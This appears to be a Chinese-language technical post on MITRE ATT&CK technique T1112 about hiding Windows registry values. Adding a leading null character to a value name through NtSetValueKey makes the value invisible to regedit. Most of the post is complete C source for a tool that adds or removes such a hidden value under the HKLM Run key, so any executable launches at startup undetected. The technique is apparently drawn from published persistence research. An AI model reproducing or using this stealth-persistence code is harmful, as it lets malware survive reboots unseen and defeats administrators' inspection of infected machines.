ATT&CK:https://attack.mitre.org/techniques/T1112/
注册表修改包括隐藏键的操作,在键名前添加空字符,导致win32 的api 读取时忽略。达到部分程序中隐藏的效果。
regedit.exe 使用win32 api读取注册表内容,会忽略以”\0”作为开头的内容,因为”\0”会被识别为字符串的结束符,遇到开头”\0”,会直接当作结束。
使用Native API NtSetValueKey 设置键名,ValueName 使用的是UNICODE_STRING ,可以自行初始化一个UNICODE_STRING,然后在buffer第一个位置加'\0',设置正确的Length,写入注册表,可以被操作系统正确识别读取。
NetSetValueKey位于ntdll.dll 中,通过GetProcAddress获取地址调用。
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
NtSetValueKey(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN ULONG TitleIndex OPTIONAL,
IN ULONG Type,
IN PVOID Data,
IN ULONG DataSize );
下面的代码可以在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run中创建和删除隐藏的值,效果如下
只能看到cmd,看不到添加的notepad.exe
#include <stdio.h>
#include "defs.h"
BOOL InitFuncs()
{
HMODULE hMod = GetModuleHandleA("ntdll.dll");
if (hMod == NULL)
return FALSE;
_RtlInitUnicodeString = (PROC_RtlInitUnicodeString)GetProcAddress(hMod, "RtlInitUnicodeString");
_NtOpenKey = (PROC_NtOpenKey)GetProcAddress(hMod, "NtOpenKey");
_NtCreateKey = (PROC_NtCreateKey)GetProcAddress(hMod, "NtCreateKey");
_NtDeleteKey = (PROC_NtDeleteKey)GetProcAddress(hMod, "NtDeleteKey");
_NtSetValueKey = (PROC_NtSetValueKey)GetProcAddress(hMod, "NtSetValueKey");
_NtClose = (PROC_NtClose)GetProcAddress(hMod, "NtClose");
_NtDeleteValueKey = (PROC_NtDeleteValueKey)GetProcAddress(hMod,"NtDeleteValueKey");
return TRUE;
}
void OpenRegistryKey(wchar_t KeyPath[], HANDLE* Key)
{
//HANDLE hKey;
OBJECT_ATTRIBUTES objAttrs;
UNICODE_STRING KeyNameUni;
NTSTATUS status;
_RtlInitUnicodeString(&KeyNameUni, KeyPath);
objAttrs = { sizeof(objAttrs),0,&KeyNameUni,OBJ_CASE_INSENSITIVE };
status = _NtOpenKey(Key, KEY_ALL_ACCESS, &objAttrs);
if (!NT_SUCCESS(status))
printf("[!]Open key failed \\n");
}
NTSTATUS __stdcall CreateHiddenValue(HANDLE hKey, wchar_t ValueName[], PVOID Data, ULONG DataSize, ULONG Type)
{
UNICODE_STRING valueNameUni;
NTSTATUS status;
int origValueLenth = wcslen(ValueName);
int bufferSize = origValueLenth * sizeof(wchar_t) + 2 + 2;
wchar_t* buffer = (wchar_t*)malloc(bufferSize);
if (buffer == NULL)
return -1;
memset(buffer, 0, bufferSize);
buffer[0] = '\\0';
buffer = buffer + 1;
for (int i = 0; i < origValueLenth; ++i) {
buffer[i] = ValueName[i];
}
//init UNICODE VALUE NAME
valueNameUni.Buffer = buffer;
valueNameUni.Length = origValueLenth * sizeof(wchar_t); //not including the terminating NULL character
valueNameUni.MaximumLength = bufferSize * 2; // it doesn't matter
status = _NtSetValueKey(hKey, &valueNameUni, 0, Type, Data, DataSize);
return status;
}
BOOL MyDeleteValueKey(HANDLE hKey, wchar_t* Name)
{
UNICODE_STRING ValueName;
_RtlInitUnicodeString(&ValueName, Name);
NTSTATUS Status = _NtDeleteValueKey(hKey, &ValueName);
if (!NT_SUCCESS(Status)) {
printf("[!]DeleteValueKey Error:%ul\\n", Status);
return FALSE;
}
printf("[-]DeleteValueKey\\n");
printf("ValueName: %ls\\n", Name);
return TRUE;
}
void addRun(wchar_t* exe_path) {
NTSTATUS status;
HANDLE hKey = NULL;
wchar_t regPath[] = L"\\\\Registry\\\\Machine\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run";
wchar_t* data = exe_path;
wchar_t name[] = L"HiddenTest";
OpenRegistryKey(regPath, &hKey);
if (hKey == 0)
printf("open key failed \\n");
status = CreateHiddenValue(hKey, name, data, wcslen(data) * sizeof(wchar_t), REG_SZ);
if (NT_SUCCESS(status))
printf("value created successfully. \\n");
else
printf("value create failed. \\n");
}
void removeRun() {
HANDLE hKey = NULL;
wchar_t regPath[] = L"\\\\Registry\\\\Machine\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run";
wchar_t name[] = L"HiddenTest";
OpenRegistryKey(regPath, &hKey);
if (hKey == 0)
printf("[!]open key failed \\n");
MyDeleteValueKey(hKey, name);
}
int wmain(int argc, wchar_t* argv[], wchar_t* envp[])
{
if (argc < 2) {
printf("usage: \\n");
printf("AddRun.exe add C:\\\\example.exe \\n");
printf("AddRun.exe remove \\n");
return 0;
}
InitFuncs(); //Initialize
if (!wcscmp(argv[1], L"add") && argc == 3) {
printf("[+]ADD RUN: %ls \\n", argv[2]);
addRun(argv[2]);
return 0;
}
if (!wcscmp(argv[1], L"remove") && argc == 2) {
printf("[-]REMOVE RUN \\n");
removeRun();
return 0;
}
return 0;
}
///defs.h
#pragma once
#include <Windows.h>
#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
#define NT_SUCCESS(x) ((x)>=0)
#define STATUS_SUCCESS ((NTSTATUS)0)
#define OBJ_CASE_INSENSITIVE 64L
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES,*POBJECT_ATTRIBUTES;
typedef NTSTATUS(__stdcall *PROC_NtOpenKey)(
PHANDLE KeyHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
typedef VOID(__stdcall *PROC_RtlInitUnicodeString)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
typedef NTSTATUS(__stdcall *PROC_NtCreateKey)(
PHANDLE KeyHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
ULONG TitleIndex,
PUNICODE_STRING Class,
ULONG CreateOptions,
PULONG Disposition
);
typedef NTSTATUS(__stdcall * PROC_NtDeleteKey)(
HANDLE KeyHandle
);
typedef NTSTATUS(__stdcall *PROC_NtSetValueKey)(
HANDLE KeyHandle,
PUNICODE_STRING ValueName,
ULONG TitleIndex,
ULONG Type,
PVOID Data,
ULONG DataSize
);
typedef NTSTATUS(__stdcall *PROC_NtClose)(
HANDLE Handle
);
typedef NTSTATUS(__stdcall *PROC_NtDeleteValueKey)
(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName
);
PROC_NtDeleteKey _NtDeleteKey;
PROC_NtCreateKey _NtCreateKey;
PROC_NtOpenKey _NtOpenKey;
PROC_NtSetValueKey _NtSetValueKey;
PROC_RtlInitUnicodeString _RtlInitUnicodeString;
PROC_NtClose _NtClose;
PROC_NtDeleteValueKey _NtDeleteValueKey;
Reference:
https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValues_Whitepaper.pdf